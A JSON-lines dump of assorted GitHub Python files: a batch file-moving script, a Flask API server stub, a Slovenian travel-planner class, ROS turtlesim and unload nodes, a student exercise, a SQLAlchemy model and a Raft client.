item\n\n\n\n","repo_name":"yxd2018/starmax","sub_path":"ScrapyPro/Spider4-20/Spdertaobao/Spdertaobao/spiders/mySpider.py","file_name":"mySpider.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"36040018128","text":"import os\n# import shutil\n\n'''\n功能:把一堆文件批量移动到另一个位置\n修改filenames列表中的内容为要移动的文件名\n修改FromRootDir为源文件的前缀地址\n修改ToRootDir为要移动到的位置\n执行函数mvfiles\n'''\n# filenames要移动的文件名,FromRootDir,文件所在的路径\n# 可以通过rootdir + filename 找到文件\nFileNames = ['c_002', 'c_004', 'c_008', 'c_012', 'c_024', 'c_030', 'c_032', 'c_035', 'c_037', 'c_044', 'c_060', 'c_065', 'c_078', 'c_082', 'c_088', 'c_092', 'c_098', 'c_102', 'c_106', 'c_112', 'c_114', 'c_115', 'c_119', 'c_127', 'c_130', 'c_141', 'c_143', 'c_146', 'c_148', 'c_153']\nFromRootDir = '/workspaces/work/nnUNetFrame/DATASET/nnUNet_raw/nnUNet_raw_data/Task501_tummor1/imagesTr'\n# ToRootDir 是要移动到的目标路径\n# ToRootDir + filename 是希望到到位置\nToRootDir = '/workspaces/work/nnUNetFrame/test/input'\ndef mvfiles(filenames,fromrootdir,torootdir):\n for filename in filenames:\n filename = filename + '_0000.nii.gz'\n print(filename)\n fromfile = os.path.join(fromrootdir,filename)\n tofile = os.path.join(torootdir,filename)\n os.system('cp '+fromfile+' '+tofile)\n\n# 移动某个文件夹固定后缀的内容\nFromRootDir = '/home/user/peizhun/rawdata/c2/imagesTr'\nToRootDir = '/home/user/attention/data/c2/image'\ndef mvfiles(fromrootdir,torootdir):\n i = 1\n for filename in os.listdir(FromRootDir):\n c = filename.split('.',1)\n if c[1] == 'npy':\n print(i , filename)\n fromfile = os.path.join(fromrootdir,filename)\n tofile = os.path.join(torootdir,filename)\n os.system('cp '+fromfile+' '+tofile)\n i = i + 1\nmvfiles(FromRootDir , ToRootDir)\n\n'''\n功能:把一个文件夹下所有的文件,放入一个文件夹中\n如 a文件夹有文件a1.xxx,a2.xxx,则执行后,a文件夹中有两个文件夹a1,a2,里面分别是a1.xxx,a2.xxx\n输入参数为文件夹路径,\n'''\ndef folder_name(filename):\n r = filename.split('.')\n return r[0]\ndef pack_file(rootdir):\n for fname in os.listdir(rootdir):\n print(fname)\n if os.path.isfile(os.path.join(rootdir,fname)): #只处理文件\n # 对于要包裹的文件,通过修改这个函数,来确定文件夹的命名\n foldername = folder_name(fname) \n os.system('mkdir '+ os.path.join(rootdir,foldername))\n \n # 新建完文件夹后,把文件移动进文件夹\n fromname = os.path.join(rootdir,fname)\n toname = os.path.join(rootdir,foldername,fname)\n os.system('mv '+fromname+' '+toname)\n# 使用\n# pack_file('~/nnUNetFrame/test/input')\n\ndef unpack_file(rootdir):\n for fname in os.listdir(rootdir):\n print(fname)\n if os.path.isdir(os.path.join(rootdir,fname)): #只处理文件夹\n # 新建完文件夹后,把文件移动进文件夹\n for file in os.listdir(os.path.join(rootdir,fname)):\n fromname = os.path.join(rootdir,fname,file)\n toname = os.path.join(rootdir,file)\n os.system('mv '+fromname+' '+toname)\n os.system('rm -rf ' + os.path.join(rootdir,fname))\n# 以列表的形式输出所有的文件夹\ndef print_as_list(rootdir):\n c = [] \n for i in os.listdir(rootdir):\n c.append(i)\n print(c)","repo_name":"sun-sc/some_common_used_code","sub_path":"filemove.py","file_name":"filemove.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72282785692","text":"from flask import Flask, request\nfrom dotenv import load_dotenv\nimport signal\nimport time\nimport os\nimport logging\n\nfrom db import Database\nfrom authorization import Auth\n\nlogging.basicConfig(filename='server.log', level=logging.INFO, format='%(asctime)s [%(levelname)s]: %(message)s', datefmt='%y-%m-%d %H:%M:%S')\n\n# Start the clock\nstartTime = time.time()\n\n# Load .env variables\nload_dotenv()\n\n# Create Flask app\napp = Flask(__name__)\n\n# Define app config parameters\napp.config['HOST'] = os.getenv('HOST', '0.0.0.0')\napp.config['PORT'] = os.getenv('PORT', 80)\napp.config['ENV'] = os.getenv('ENV', 'production')\napp.config['DEBUG'] = os.getenv('DEBUG', False)\napp.config['DATABASE'] = os.path.join(os.getcwd(), './data/db.sqlite3')\n\n# Database\ndb = Database(app.config['DATABASE'])\n\n# Auth\nauth = Auth(db)\n\n# Our signal handler\ndef signal_handler(signum, frame):\n db.close()\n print(\"\")\n logging.info(f\"Signal {signum} received, exiting...\")\n exit(0)\n\n# Register our signal handler with desired signal\nsignal.signal(signal.SIGHUP, signal_handler)\nsignal.signal(signal.SIGINT, signal_handler)\nsignal.signal(signal.SIGQUIT, signal_handler)\nsignal.signal(signal.SIGABRT, signal_handler)\nsignal.signal(signal.SIGTERM, signal_handler)\n\n# External Endpoints\n@app.route('/', methods=['GET'])\ndef uptime():\n return {'uptime': time.time() - startTime}\n\n## TODO: Consider moving logic from Flask to MQTT listener\n@app.route('/register', methods=['POST'])\ndef register():\n body = request.get_json()\n customer_uuid = body['customer_uuid']\n client_uuid = body['client_uuid']\n registration_token = body['registration_token']\n\n result = db.get_registration(customer_uuid)\n if result is not None:\n if result['token'] == registration_token:\n # Check if client exists for customer, if not create it\n db.upsert_client(customer_uuid, client_uuid)\n token = auth.jwt_token(customer_uuid, client_uuid)\n updated = db.upsert_authorization(customer_uuid, client_uuid, token)\n if updated:\n return {\"message\": \"Successfully registered\", \"token\": token}\n else:\n return {\"message\": \"Registration token is invalid\"}, 401\n else:\n return {\"message\": \"Registration token is invalid\"}, 401\n else:\n return {\"message\": \"Registration token is invalid\"}, 401\n\n@app.route('/scan/upload', methods=['POST'])\n@auth.token_required\ndef scan_upload(customer, client):\n try:\n body = request.get_json()\n db.set_scan_data(customer, client, body['data'])\n return {\"message\": \"Scan result received\"}, 201\n except Exception as e:\n return {\n \"message\": \"Something went wrong\",\n \"error\": str(e)\n }, 500\n\n@app.route('/audit/upload', methods=['POST'])\n@auth.token_required\ndef audit_upload(customer, client):\n try:\n body = request.get_json()\n db.set_audit_data(customer, client, body['data'])\n return {\"message\": \"Audit receieved\"}, 201\n except Exception as e:\n return {\n \"message\": \"Something went wrong\",\n \"error\": str(e)\n }, 500\n\n# Internal Endpoints\n@app.route('/api/scan', methods=['POST'])\n@auth.admin_token_required\ndef scan(token):\n body = request.get_json()\n return {\"message\": \"Scan initiated\"}\n\n@app.route('/api/scan/group', methods=['POST'])\n@auth.admin_token_required\ndef scan_group(token):\n body = request.get_json()\n return {\"message\": \"Scan initiated for group\"}\n\n# TODO: Add endpoint to add client to specify group, creating group if it DNE\n@app.route('/api/scan/group/create', methods=['POST'])\n@auth.admin_token_required\ndef scan_group_create(token):\n body = request.get_json()\n return {\"message\": \"Scan group created\"}\n\n@app.route('/api/scan/group/membership', methods=['PUT'])\n@auth.admin_token_required\ndef scan_group_membership(token):\n body = request.get_json()\n return {\"message\": \"Scan group membership updated\"}\n\n@app.route('/api/contain', methods=['POST'])\n@auth.admin_token_required\ndef contain(token):\n body = request.get_json()\n return {\"message\": \"Containment initiated\"}\n\n@app.route('/api/uncontain', methods=['POST'])\n@auth.admin_token_required\ndef uncontain(token):\n body = request.get_json()\n return {\"message\": \"Uncontainment initiated\"}\n\nif __name__ == '__main__':\n app.run(host=app.config['HOST'], port=app.config['PORT'], debug=app.config['DEBUG'])","repo_name":"ccapo/flask-api-server","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1493044845","text":"import datetime\r\nimport json\r\n\r\n\r\n\r\nclass Uporabniki:\r\n def __init__(self, uporabnisko_ime, geslo, potovanje):\r\n self.uporabnisko_ime = uporabnisko_ime\r\n self.geslo = geslo\r\n self.potovanje = potovanje\r\n\r\n def preveri_geslo(self, geslo):\r\n if self.geslo != geslo:\r\n raise ValueError('Geslo je napačno!')\r\n\r\n def shrani_evidenco(self, ime_datoteke):\r\n slovar_evidence = {\r\n 'uporabnisko_ime': self.uporabnisko_ime,\r\n 'geslo': self.geslo,\r\n 'evidenca': self.potovanje.slovar_s_pregledom(),\r\n }\r\n with open(ime_datoteke, 'w', encoding='utf-8') as datoteka:\r\n json.dump(slovar_evidence, datoteka, ensure_ascii=False, indent=4)\r\n\r\n @classmethod\r\n def nalozi_evidenco(cls, ime_datoteke):\r\n with open(ime_datoteke, 'r', encoding='utf-8') as datoteka:\r\n slovar_evidence = json.load(datoteka)\r\n uporabnisko_ime = slovar_evidence['uporabnisko_ime']\r\n geslo = slovar_evidence['geslo']\r\n potovanje = Potovanje.nalozi_iz_slovarja(slovar_evidence['evidenca'])\r\n return cls(uporabnisko_ime, geslo, potovanje)\r\n\r\n\r\n\r\nclass Potovanje:\r\n def __init__(self, mesto, drzava, datum_od, datum_do, budzet=0):\r\n self.mesto = mesto\r\n self.drzava = drzava\r\n self.datum_od = datum_od\r\n self.datum_do = datum_do\r\n self.budzet = budzet\r\n self.lokacije = [(self.mesto, self.drzava)]\r\n self.datumi = [(str(self.datum_od), str(self.datum_do))]\r\n self.denar = [budzet]\r\n self.potovanja = [(self.mesto, self.drzava, str(self.datum_od), str(self.datum_do), self.budzet)]\r\n self.potovanja_po_datumih = {(str(self.datum_od), str(self.datum_do)): (self.mesto, self.drzava, self.budzet)}\r\n self.najljubse_lokacije = []\r\n self.slo_najljubse_lokacije = {}\r\n self.ze_obiskano = []\r\n self.ze_obiskane_lokacije = []\r\n self.obiskano_po_datumih = {}\r\n self.seznam_zelja = []\r\n self._potovanja_po_datumu_od = {self.datum_od: (self.mesto, self.drzava, self.datum_od, self.datum_do, self.budzet)}\r\n self._evidence_po_datumu_od = {}\r\n self._lokacije_po_mestih = {}\r\n self._zelje_po_mestih = {}\r\n\r\n def __str__(self):\r\n return f'Planiram potovanje v/na {self.mesto}, {self.drzava}. Potoval/a bom {self.datum_od} in se bom vrnil/a {self.datum_do}. Pričakujem, da bom porabil/a {self.buzet}€'\r\n\r\n def __repr__(self):\r\n return f'Potovanje({self.mesto}, {self.drzava}, {self.datum_od}, {self.datum_do}, {self.budzet})'\r\n\r\n def _preveri_drzavo(self, drzava):\r\n with open('drzave.txt', 'r', encoding='utf-8') as dat_drzave:\r\n seznam_drzav = [vrstica.strip() for vrstica in dat_drzave]\r\n if drzava not in seznam_drzav:\r\n raise ValueError(f'{drzava} ne obstaja!')\r\n\r\n def dodaj_lokacijo(self, mesto, drzava):\r\n self._preveri_drzavo(drzava)\r\n self.lokacije.append((mesto, drzava))\r\n\r\n def obrisi_lokacijo(self, mesto, drzava):\r\n self._preveri_drzavo(drzava)\r\n if (mesto, drzava) not in self.lokacije:\r\n raise ValueError(f'Lokacija {mesto}, {drzava} ni že shranjena!')\r\n self.lokacije.remove((mesto, drzava))\r\n\r\n def dodaj_najljubso_lokacijo(self, mesto, drzava):\r\n self._preveri_drzavo(drzava)\r\n if mesto in self.najljubse_lokacije:\r\n raise ValueError(f'Lokacija {mesto}, {drzava} je že dodana v najljubše lokacije!')\r\n self.slo_najljubse_lokacije[mesto] = drzava\r\n self.najljubse_lokacije.append((mesto, drzava))\r\n self._lokacije_po_mestih[mesto] = (mesto, drzava)\r\n\r\n def obrisi_najljubso_lokacijo(self, mesto, drzava):\r\n self._preveri_drzavo(drzava)\r\n if (mesto, drzava) not in self.najljubse_lokacije:\r\n raise ValueError(f'Lokacija {mesto}, {drzava} ni še dodana v najljubše lokacije!')\r\n self.slo_najljubse_lokacije.pop(mesto)\r\n self.najljubse_lokacije.remove((mesto, drzava))\r\n self._lokacije_po_mestih.pop(mesto)\r\n\r\n def _preveri_datum(self, datum_od, datum_do):\r\n for i in range(len(self.datumi)):\r\n if str(datum_od) in self.datumi[i] or str(datum_do) in self.datumi[i]:\r\n raise ValueError('Takrat že potojete!')\r\n if datum_do < datum_od:\r\n raise ValueError('Pozor! Datum vrnitve je prej datuma odlaska!')\r\n\r\n def dodaj_cas(self, datum_od, datum_do):\r\n self._preveri_datum(datum_od, datum_do)\r\n self.datumi.append((str(datum_od), str(datum_do)))\r\n\r\n def obrisi_cas(self, datum_od, datum_do):\r\n if (str(datum_od), str(datum_do)) not in self.datumi:\r\n raise ValueError('Takrat še nimate planiranega potovanja!')\r\n self.datumi.remove((str(datum_od), str(datum_do)))\r\n\r\n def dodaj_budzet(self, budzet):\r\n if budzet < 0:\r\n raise ValueError('Budžet ne sme biti manjši od 0 €!')\r\n self.denar.append(budzet)\r\n\r\n def obrisi_buzet(self, budzet):\r\n if budzet not in self.denar:\r\n raise ValueError('Tisti budžet ni še dodan!')\r\n self.denar.remove(budzet)\r\n\r\n def dodaj_potovanje(self, mesto, drzava, datum_od, datum_do, budzet=0):\r\n self.dodaj_lokacijo(mesto, drzava)\r\n self.dodaj_cas(datum_od, datum_do)\r\n self.dodaj_budzet(budzet)\r\n self.potovanja.append((mesto, drzava, str(datum_od), str(datum_do), budzet))\r\n self.potovanja_po_datumih[(str(datum_od), str(datum_do))] = (mesto, drzava, budzet)\r\n self._potovanja_po_datumu_od[datum_od] = (mesto, drzava, datum_od, datum_do, budzet)\r\n\r\n def obrisi_potovanje(self, mesto, drzava, datum_od, datum_do, budzet=0):\r\n self.obrisi_lokacijo(mesto, drzava)\r\n self.obrisi_cas(datum_od, datum_do)\r\n self.obrisi_buzet(budzet)\r\n self.potovanja.remove((mesto, drzava, str(datum_od), str(datum_do), budzet))\r\n self.potovanja_po_datumih.pop((str(datum_od), str(datum_do)))\r\n self._potovanja_po_datumu_od.pop(datum_od)\r\n\r\n def dodaj_evidenco(self, mesto, drzava, datum_od, datum_do, budzet=0):\r\n self._preveri_drzavo(drzava)\r\n self.ze_obiskane_lokacije.append((mesto, drzava))\r\n self.ze_obiskano.append((mesto, drzava, str(datum_od), str(datum_do), budzet))\r\n self.obiskano_po_datumih[(str(datum_od), str(datum_do))] = (mesto, drzava, budzet)\r\n self._evidence_po_datumu_od[datum_od] = (mesto, drzava, datum_od, datum_do, budzet)\r\n\r\n def obrisi_evidenco(self, mesto, drzava, datum_od, datum_do, budzet=0):\r\n self._preveri_drzavo(drzava)\r\n if (mesto, drzava) not in self.ze_obiskane_lokacije:\r\n raise ValueError(f'Lokacija {mesto}, {drzava} še ni obiskana!')\r\n self.ze_obiskane_lokacije.remove((mesto, drzava))\r\n self.ze_obiskano.remove((mesto, drzava, str(datum_od), str(datum_do), budzet))\r\n self.obiskano_po_datumih.pop((str(datum_od), str(datum_do)))\r\n self._evidence_po_datumu_od.pop(datum_od)\r\n if (mesto, drzava) in self.najljubse_lokacije:\r\n self.obrisi_najljubso_lokacijo(mesto, drzava)\r\n\r\n def dodaj_zeljo(self, mesto, drzava):\r\n self._preveri_drzavo(drzava)\r\n if (mesto, drzava) in self.seznam_zelja:\r\n raise ValueError(f'Destinacija {mesto}, {drzava} je že dodana v vaš seznam želja!')\r\n elif (mesto, drzava) in self.ze_obiskane_lokacije:\r\n raise ValueError(f'Lokacijo {mesto}, {drzava} ste že obiskali!')\r\n self.seznam_zelja.append((mesto, drzava))\r\n self._zelje_po_mestih[mesto] = (mesto, drzava)\r\n\r\n def obrisi_zeljo(self, mesto, drzava):\r\n self._preveri_drzavo(drzava)\r\n if (mesto, drzava) not in self.seznam_zelja:\r\n raise ValueError(f'Željo {mesto}, {drzava} še niste dodali v seznam želja!')\r\n self.seznam_zelja.remove((mesto, drzava))\r\n self._zelje_po_mestih.pop(mesto)\r\n\r\n def poisci_potovanje(self, datum_od):\r\n return self._potovanja_po_datumu_od[datum_od]\r\n\r\n def poisci_evidenco(self, datum_od):\r\n return self._evidence_po_datumu_od[datum_od]\r\n\r\n def poisci_najljubso_lokacijo(self, mesto):\r\n return self._lokacije_po_mestih[mesto]\r\n\r\n def poisci_zeljo(self, mesto):\r\n return self._zelje_po_mestih[mesto]\r\n\r\n def iz_potovanja_v_evidenco(self, datum_pot):\r\n pot = self.poisci_potovanje(datum_pot)\r\n mesto = pot[0]\r\n drzava = pot[1]\r\n datum_od = pot[2]\r\n datum_do = pot[3] \r\n budzet = pot[4]\r\n self.obrisi_potovanje(mesto, drzava, datum_od, datum_do, budzet)\r\n self.dodaj_evidenco(mesto, drzava, datum_od, datum_do, budzet)\r\n\r\n def planiran_budzet_ukupno(self):\r\n ukupno = 0\r\n for n in self.denar:\r\n ukupno += n\r\n return ukupno\r\n\r\n def ukupno_porabljeno(self):\r\n ukupno = 0\r\n for potovanje in self.ze_obiskano:\r\n ukupno += potovanje[4]\r\n return ukupno\r\n\r\n def slovar_s_pregledom(self):\r\n return {\r\n 'planirana potovanja': [{\r\n 'mesto': potovanje[0],\r\n 'drzava': potovanje[1],\r\n 'datum odhoda': potovanje[2],\r\n 'datum vrnitve': potovanje[3],\r\n 'budzet': potovanje[4],\r\n } for potovanje in self.potovanja],\r\n 'ze obiskano': [{\r\n 'mesto': obiskano[0],\r\n 'drzava': obiskano[1],\r\n 'datum odhoda': obiskano[2],\r\n 'datum vrnitve': obiskano[3],\r\n 'budzet': obiskano[4],\r\n } for obiskano in self.ze_obiskano],\r\n 'najljubse lokacije': [{\r\n 'mesto': lokacija[0],\r\n 'drzava': lokacija[1],\r\n } for lokacija in self.najljubse_lokacije],\r\n 'seznam želja':[{\r\n 'mesto': zelja[0],\r\n 'drzava': zelja[1],\r\n } for zelja in self.seznam_zelja],\r\n \r\n 'planirani budzet': self.planiran_budzet_ukupno(),\r\n 'porabljen denar': self.ukupno_porabljeno(),\r\n }\r\n\r\n @classmethod\r\n def nalozi_iz_slovarja(cls, slovar_s_pregledom):\r\n mesto = slovar_s_pregledom['planirana potovanja'][0]['mesto']\r\n drzava = slovar_s_pregledom['planirana potovanja'][0]['drzava']\r\n datum_od = slovar_s_pregledom['planirana potovanja'][0]['datum odhoda']\r\n datum_do = slovar_s_pregledom['planirana potovanja'][0]['datum vrnitve']\r\n budzet = slovar_s_pregledom['planirana potovanja'][0]['budzet']\r\n potovanje = cls(mesto, drzava, datum_od, datum_do, budzet)\r\n for plan in slovar_s_pregledom['planirana potovanja'][1:]:\r\n nov_plan = potovanje.dodaj_potovanje(\r\n plan['mesto'],\r\n plan['drzava'],\r\n plan['datum odhoda'],\r\n plan['datum vrnitve'],\r\n plan['budzet']\r\n )\r\n for obisk in slovar_s_pregledom['ze obiskano']:\r\n nova_evidenca = potovanje.dodaj_evidenco(\r\n obisk['mesto'],\r\n obisk['drzava'],\r\n obisk['datum odhoda'],\r\n obisk['datum vrnitve'],\r\n obisk['budzet']\r\n )\r\n for lokacija in slovar_s_pregledom['najljubse lokacije']:\r\n nova_lokacija = potovanje.dodaj_najljubso_lokacijo(\r\n lokacija['mesto'],\r\n lokacija['drzava']\r\n )\r\n for zelja in slovar_s_pregledom['seznam želja']:\r\n nova_zelja = potovanje.dodaj_zeljo(\r\n zelja['mesto'],\r\n zelja['drzava']\r\n )\r\n return potovanje\r\n\r\n def shrani_potovanje(self, ime_datoteke):\r\n with open(ime_datoteke, 'w', encoding='utf-8') as datoteka:\r\n json.dump(self.slovar_s_pregledom(), datoteka, ensure_ascii=False, indent=4)\r\n\r\n @classmethod\r\n def nalozi_potovanje(cls, ime_datoteke):\r\n with open(ime_datoteke, 'r', encoding='utf-8') as datoteka:\r\n slovar_s_pregledom = json.load(datoteka)\r\n return cls.nalozi_iz_slovarja(slovar_s_pregledom)","repo_name":"Teodora-Cvetkovic/nacrtovalec_potovanja","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":12169,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25369272413","text":"#!/usr/bin/env python3\nimport rospy\nimport math\nfrom geometry_msgs.msg import Twist #for representation of angular and linear velocity\nfrom turtlesim.msg import Pose # for representation of position and orientation\nclass MoveTurtle: \n\n\tdef __init__(self): #initialization function\n\n\t\tself.curr_x = 0\n\t\tself.curr_y = 0\n\t\tself.curr_theta = 0\n\t\tself.curr_deg = 0\n\n\tdef func_ros_sub_callback(self, pose_message): \n\t\tself.curr_x = pose_message.x # storing current positions/coordinates\n\t\tself.curr_y = pose_message.y \n\t\tself.curr_theta = pose_message.theta #storing current angles\n\t\tif self.curr_theta < 0: #setting the current angle to absolute value if it becomes < zero\n\t\t\tself.curr_deg = 360 - abs(math.degrees(self.curr_theta))\n\t\telse:\n\t\t\tself.curr_deg = abs(math.degrees(self.curr_theta))\n \n\tdef movCircle(self, ang_vel):\n\t\tobj_velocity_mssg = Twist() #creating objects\n\t\tobj_pose_mssg = Pose()\n\n\t\tstart_degree = 0\n\t\tcurrent_degree = 0\n\n\t\thandle_pub_vel = rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size=10) #publishing to a topic \n\t\tlin_vel = 0.8\n\t\t\n\t\tmax_degree = 360\n\n\t\tobj_velocity_mssg.linear.x = lin_vel # setting linear velocity to 0.8\n\t\tobj_velocity_mssg.angular.z = ang_vel\n\n\n\t\twhile round(current_degree) < round(max_degree):#circle movement commands\n\t\t\thandle_pub_vel.publish(obj_velocity_mssg)\n\n\t\t\tcurrent_degree = self.curr_deg - start_degree\n\t\t\trospy.loginfo(\"Moving in a circle\")\n\n\t\tobj_velocity_mssg.linear.x = 0\n\t\tobj_velocity_mssg.angular.z = 0\n\t\thandle_pub_vel.publish(obj_velocity_mssg) #stopping the turtle\n \n \n\ndef main():\n\trospy.init_node('shapes_turtle', anonymous=True) \n\tturtle = MoveTurtle() #calling the turtle movement code\n\thandle_sub_pose = rospy.Subscriber('/turtle1/pose', Pose, turtle.func_ros_sub_callback) #initially moving for completing the first circle\n\n\tturtle.movCircle(-0.8)\n\t\n\tturtle1 = MoveTurtle()\n\thandle_sub_pose1 = rospy.Subscriber('/turtle1/pose', Pose, turtle1.func_ros_sub_callback) # then moving the turtle for the second circle\n\n\tturtle1.movCircle(0.8)\n\tprint(\"Goal Reached\")\n\nmain()\n","repo_name":"rajaryan18/ab_1639","sub_path":"AB_1639.py","file_name":"AB_1639.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7082009417","text":"#!/usr/bin/env python3\n\"\"\"\n\nstate_ids are [start, navigate, unload, return, stop]\n\n\"\"\"\nimport rospy\nfrom single_bot.msg import com_msg\nfrom std_msgs.msg import Bool\nfrom std_msgs.msg import String\n\n\ndef unload_cb(msg,c_pub):\n time = 0.0\n unloadTime = rospy.get_param('/unload_time')\n rate = rospy.Rate(2)\n rospy.loginfo(msg)\n if msg.data == 'unload':\n rospy.loginfo('Target reached and unloading started')\n # send signal to commu node for unloading \n isLoaded = True\n c_pub.publish(v = 0.0,w=0.0,isLoaded=True,ifUnload=True,msg_frm_bot = False)\n #wait for commu node msg\n while isLoaded and not rospy.is_shutdown():\n try:\n isLoaded = rospy.wait_for_message('/unloadStatus', Bool,timeout=unloadTime)\n except:\n ropsy.logwarn('Taking longer than expected to unload..')\n pass\n # time +=0.5\n # if time > unloadTime:\n # rospy.logwarn('Unload delay detected..')\n\n if not bot.isLoaded:\n isLoaded = False #return tray to initial position\n rospy.loginfo('unloaded and returning..')\n \n i_state = rospy.get_param('/i_state')\n f_state = rospy.get_param('/f_state')\n # update job_done at last\n rospy.set_param('/f_state', i_state)\n rospy.set_param('/i_state', f_state)\n rospy.set_param('/c_state', f_state)\n rospy.set_param('/job_done', True) # indiates return state\n rate.sleep()\n return\n\n\ndef talker():\n rospy.init_node('unload_node', anonymous= False)\n c_pub = rospy.Publisher('/commu', com_msg,queue_size=1)\n rospy.Subscriber('/state_id',String,unload_cb,c_pub)\n rospy.spin()\n\nif __name__==\"__main__\":\n try:\n talker()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"jayashankar2110/flipkart","sub_path":"src/single_bot/scripts/unload_node.py","file_name":"unload_node.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41115967427","text":"### question 1\r\ncircle_ls = [1,2,3,4, 5, 6, 7,8,9,10] \r\n \r\nprint (\"The original list is : \" + str(circle_ls)) \r\n \r\nK = 19\r\n\r\nres = [x + K for x in circle_ls] \r\n\r\n \r\nprint (\"The list after adding pillow number to each element : \" + str(res))\r\n\r\nfor a in res:\r\n k=0\r\n for i in range(2,a//2+1):\r\n if(a%i==0):\r\n k=k+1\r\n if(k<=0):\r\n print(a)\r\n\r\n###question 2\r\n\r\nlist_a = [ 'Maria', 'Kenya', 'Amee', 'Angelina']\r\nlist_b = ['John' , 'Harry' , 'Peter', 'Mark']\r\nfinalList = list(zip(list_a, list_b))\r\nprint(finalList)\r\n\r\n##question3\r\nsalary=100\r\nleaves = 10\r\nworkedHours= 8\r\nleavesTaken= 1\r\nnoOfDays= 20\r\ndailyWage= workedHours*salary\r\n\r\ntotalSalary= workedHours*salary*noOfDays \r\n\r\nif leaves>leavesTaken:\r\n print(totalSalary)\r\nelse:\r\n print(totalSalary-dailyWage)\r\n\r\n\r\n###question4\r\nx = ['a','b','c','d','f','g','h']\r\n\r\nfor index,y in enumerate(x):\r\n print(index,y)\r\na\r\n\r\nlist1=range[1,7]\r\nx['a','b','c','d','f','g','h'] += 1\r\n\r\n##\r\nfor x in ['a','b','c','d','f','g','h']:\r\n for i in ['a','b','c','d','f','g','h']:\r\n if x % i == 0:\r\n break\r\n else:\r\n print(x),\r\n print('Done')","repo_name":"AdityaPokuri/python","sub_path":"assignment4.py","file_name":"assignment4.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44527890797","text":"import datetime\nimport uuid\n\nfrom sqlalchemy import Column, PrimaryKeyConstraint, func, ForeignKeyConstraint\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.types import String, DateTime\nfrom sqlalchemy.dialects.postgresql import UUID\n\nfrom src.models.base_model import BaseModel\n\n\nclass Recipe(BaseModel):\n __tablename__ = 'recipe'\n\n id = Column(UUID(as_uuid=True), nullable=False, unique=True, default=uuid.uuid4())\n doctor_id = Column(UUID(as_uuid=True), nullable=False)\n medicine_id = Column(UUID(as_uuid=True), nullable=False)\n user_id = Column(UUID(as_uuid=True), nullable=False)\n electronic_signature = Column(String, unique=False, nullable=False)\n created_on = Column(DateTime, nullable=False, server_default=func.now())\n updated_at = Column(DateTime, nullable=False, server_default=func.now(), onupdate=datetime.datetime.now)\n \n doctor = relationship(\"Doctor\", back_populates=\"recipe\")\n medicine = relationship(\"Medicine\", back_populates=\"recipe\")\n # order = relationship(\"Order\", back_populates=\"recipe\", uselist=False)\n\n __table_args__ = (\n PrimaryKeyConstraint(id),\n ForeignKeyConstraint(\n (\n doctor_id,\n ),\n (\n \"doctor.id\",\n )\n ),\n ForeignKeyConstraint(\n (\n medicine_id,\n ),\n (\n \"medicine.id\",\n )\n ),\n ForeignKeyConstraint(\n (\n user_id,\n ),\n (\n \"user.id\",\n )\n ),\n )\n","repo_name":"NeverEverLive/pharmacy-flask","sub_path":"src/models/recipe.py","file_name":"recipe.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43448611687","text":"import grpc\nimport protos.raftdb_pb2 as raftdb\nimport protos.raftdb_pb2_grpc as raftdb_grpc\nimport raft.config as config\nimport time\n\npeer_list_mappings = { 'server-1': 'localhost:50051', 'server-2': 'localhost:50053', 'server-3': 'localhost:50055',\n 'server-4': 'localhost:50057', 'server-5': 'localhost:50059'}\n\n'''\nTODO:\n'''\nclass ClientPerf:\n\n def __init__(self):\n self.server_addr = 'localhost:50051'\n self.sequence_number = 0\n self.leader_id = 'server-1'\n\n def get_sequence_number(self):\n return self.sequence_number\n\n def set_sequence_number(self, seq_num):\n self.sequence_number = seq_num\n\n def increment_sequence_number(self):\n self.sequence_number += 1\n\n def redirectToLeaderGet(self, leader_id, key):\n print(\"Redirecting to leader with id: \" + leader_id)\n self.server_addr = peer_list_mappings[leader_id]\n self.leader_id = leader_id\n return self.requestGet(key)\n \n def redirectToLeaderPut(self, leader_id, key,value, clientid):\n print(\"Redirecting to leader with id: \" + leader_id)\n self.server_addr = peer_list_mappings[leader_id]\n self.leader_id = leader_id\n return self.requestPut(key, value, clientid) \n\n def get_next_server(self, leader_id):\n id_ = int(leader_id[-1]) + 1\n if id_ == len(peer_list_mappings) + 1:\n id_ = 1\n new_leader_id = 'server-' + str(id_)\n return new_leader_id\n\n def requestGet(self, key):\n with grpc.insecure_channel(self.server_addr) as channel:\n stub = raftdb_grpc.ClientStub(channel)\n request = raftdb.GetRequest(key=key)\n\n try:\n response = stub.Get(request, timeout=config.RPC_TIMEOUT)\n self.leader_id = response.leaderId.replace(\"'\", \"\")\n # print(self.leader_id)\n while response.code == config.RESPONSE_CODE_REDIRECT and (self.leader_id == None or self.leader_id == '' or self.leader_id == 'No leader') :\n print('Waiting for election to happen')\n time.sleep(config.CLIENT_SLEEP_TIME)\n response = stub.Get(request, timeout=config.RPC_TIMEOUT)\n self.leader_id = response.leaderId.replace(\"'\", \"\")\n \n if response.code == config.RESPONSE_CODE_REDIRECT :\n response = self.redirectToLeaderGet(response.leaderId.replace(\"'\", \"\"), key)\n return response\n \n elif response.code == config.RESPONSE_CODE_OK:\n # print(f\"GET for key: {key} Succeeded, value: {response.value}\\n\")\n return True, response.value\n \n else:\n print(\"Something went wrong, exiting put method with response code: \" + str(response.code) + \"\\n\")\n return False, 